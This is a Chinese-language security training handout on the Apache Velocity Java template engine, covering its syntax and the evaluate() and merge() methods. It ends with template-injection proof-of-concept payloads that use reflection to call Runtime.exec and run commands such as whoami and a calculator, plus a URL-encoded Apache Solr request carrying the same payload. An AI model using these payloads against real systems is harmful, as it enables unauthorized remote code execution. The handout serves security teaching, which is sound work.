Velocity介绍

Velocity 是一个由 **Apache 软件基金会** 维护的开源 **Java 模板引擎**，用于将模板与动态数据结合生成文本输出（如 HTML、SQL、XML 等）。以下是其核心特点和应用场景：

核心功能

1. **模板与代码分离**
   - 通过简单的模板语言（VTL，Velocity Template Language）引用 Java 对象，避免在页面中直接嵌入复杂代码。
   - 支持条件判断、循环、变量引用等基础逻辑。
2. **MVC 架构支持**
   - 在 Web 开发中作为 **视图层（View）**，实现业务逻辑（Controller）与展示（Template）的解耦，替代 JSP 或 PHP。
3. **跨领域应用**
   - 不仅限于 Web，还可生成代码、配置文件（如 SQL、XML）、邮件内容、报表等。
4. **轻量级与高性能**
   - 纯 Java 实现，无需额外依赖，易于集成到现有项目。

典型应用场景

1. **Web 开发**
   - 与 Spring、Struts 等框架集成，动态渲染 HTML 页面。
   - 示例：`${user.name}` 会替换为后端传入的 `user` 对象的 `name` 属性。
2. **代码生成**
   - 通过模板批量生成重复性代码（如 CRUD 代码、API 文档）。
3. **邮件模板**
   - 动态填充邮件内容（如用户名、订单详情）。
4. **数据转换**
   - 将数据库数据转换为 XML/JSON 格式或生成 PDF 报告。

简单模板示例

```
<html>
<body>
  <h1>Welcome, $!customer.Name!</h1>
  <table>
    #foreach($mud in $mudsOnSpecial)
      #if($customer.hasPurchased($mud))
        <tr><td>$flogger.getPromo($mud)</td></tr>
      #end
    #end
  </table>
  #set($footer = "© 2023 Velocity")
  <footer>$footer</footer>
</body>
```

柔狗安全内部培训资料

```
</html>
```

Velocity 基础语法以及使用

变量（Variables）

- **定义**：以 `$` 开头，引用 Java 对象、Map 键值或模板中定义的变量。

```
$customer.Name     ## 调用 customer.getName()
$mud_slinger       ## 合法变量名（支持下划线）
$mudSlinger1       ## 支持字母数字
```

- **赋值**：通过 `#set` 指令动态赋值，支持多种数据类型：

```
#set($primate = "monkey")        ## 字符串
#set($count = 123)               ## 数字
#set($list = ["A", "B"])         ## 列表（ArrayList）
#set($map = {"key": "value"})    ## 键值对（Map）
```

方法调用（Methods）

- **语法**：直接调用 Java 对象的方法，格式为 `$obj.method()`：

  velocity

```
$customer.getAddress()           ## 无参数方法
$page.setTitle("Home Page")      ## 带参数方法
$spindoctor.weave($web)          ## 方法嵌套调用
```

指令（Directives）

`#set` 赋值指令

- **功能**：动态为变量或对象属性赋值，右侧支持多种类型：

```
#set($monkey = $bill)                  ## 变量引用
#set($monkey.Friend = "monica")        ## 字符串
#set($monkey.Blame = $whitehouse.Leak) ## 属性引用
#set($monkey.Plan = 123)               ## 数字
#set($monkey.Say = ["Not", $my, "fault"])  ## 列表
```

`#foreach` 循环指令

- **遍历集合**：支持列表、Map 或范围：

```
#foreach($mud in $mudsOnSpecial)
    $velocityCount. $mud.Name  ## 内置计数器（从1开始）
#end
```

柔狗安全内部培训资料

`#if` 条件指令

- **逻辑判断**：支持嵌套和复杂表达式：

```
#if($customer.hasPurchased($mud))
    <tr>$flogger.getPromo($mud)</tr>
#elseif($count > 10)
    <p>More items needed.</p>
#end
```

数据类型与操作

- **字符串**：单/双引号均可，双引号支持变量解析：

```
#set($greet = "Hello $name!")  ## 输出：Hello Velocity!
```

- **数字**：直接赋值或运算：

```
#set($total = $purchase.getTotal() + 10)
```

- **集合操作**：

```
#set($map = {"banana": "good", "beef": "bad"})
$map.get("banana")  ## 输出：good
```

解析方法使用

Velocity 在实际开发中有两种写法，一种是采用evaluate方法解析，一种是采用merge方法解析

两种方法根据实际是应用场景需求选择，其本质都是对内容进行VTL解析

`evaluate()` 动态解析字符串

```
// 适用于：从数据库/API获取模板字符串的场景
String dynamicTemplate = "Hello, $user! Today is $dateTool.format('yyyy-MM-dd')";
VelocityContext context = new VelocityContext();
context.put("user", "Alice");
context.put("dateTool", new DateTool());

StringWriter writer = new StringWriter();
Velocity.evaluate(context, writer, "LogTag", dynamicTemplate); // 关键方法

System.out.println(writer.toString());
```

输出结果：

```
Hello, Alice! Today is 2023-09-20
```

柔韵安全内部培训资料

`merge()` 解析预定义模板

```
// 适用于：Web 页面渲染等固定模板场景
VelocityEngine engine = new VelocityEngine();
engine.init(/* 配置见前文 */);

VelocityContext context = new VelocityContext();
context.put("items", Arrays.asList("Apple", "Banana"));

Template template = engine.getTemplate("templates/list.vm"); // 加载文件
StringWriter writer = new StringWriter();
template.merge(context, writer); // 关键方法

System.out.println(writer.toString());
```

模板文件

```
<ul>
#foreach($item in $items)
    <li>$velocityCount. $item</li>
#end
</ul>
```

输出结果

```
<ul>
    <li>1. Apple</li>
    <li>2. Banana</li>
</ul>
```

漏洞POC

```
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(nu
ll,null).exec("open -a Calculator")

#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('whoami'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

#set ($e="exp")
#set
($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invok
e(null,null).exec($cmd))
#set
($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").in
voke($a))
```

柴狗安全内部培训资料

```
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor =
$sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
    $scan.next()
#end
```

solr/new_core/select?

q=1&&wt=velocity&v.template=custom&

v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27calc%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

柔狗安全内部培训资料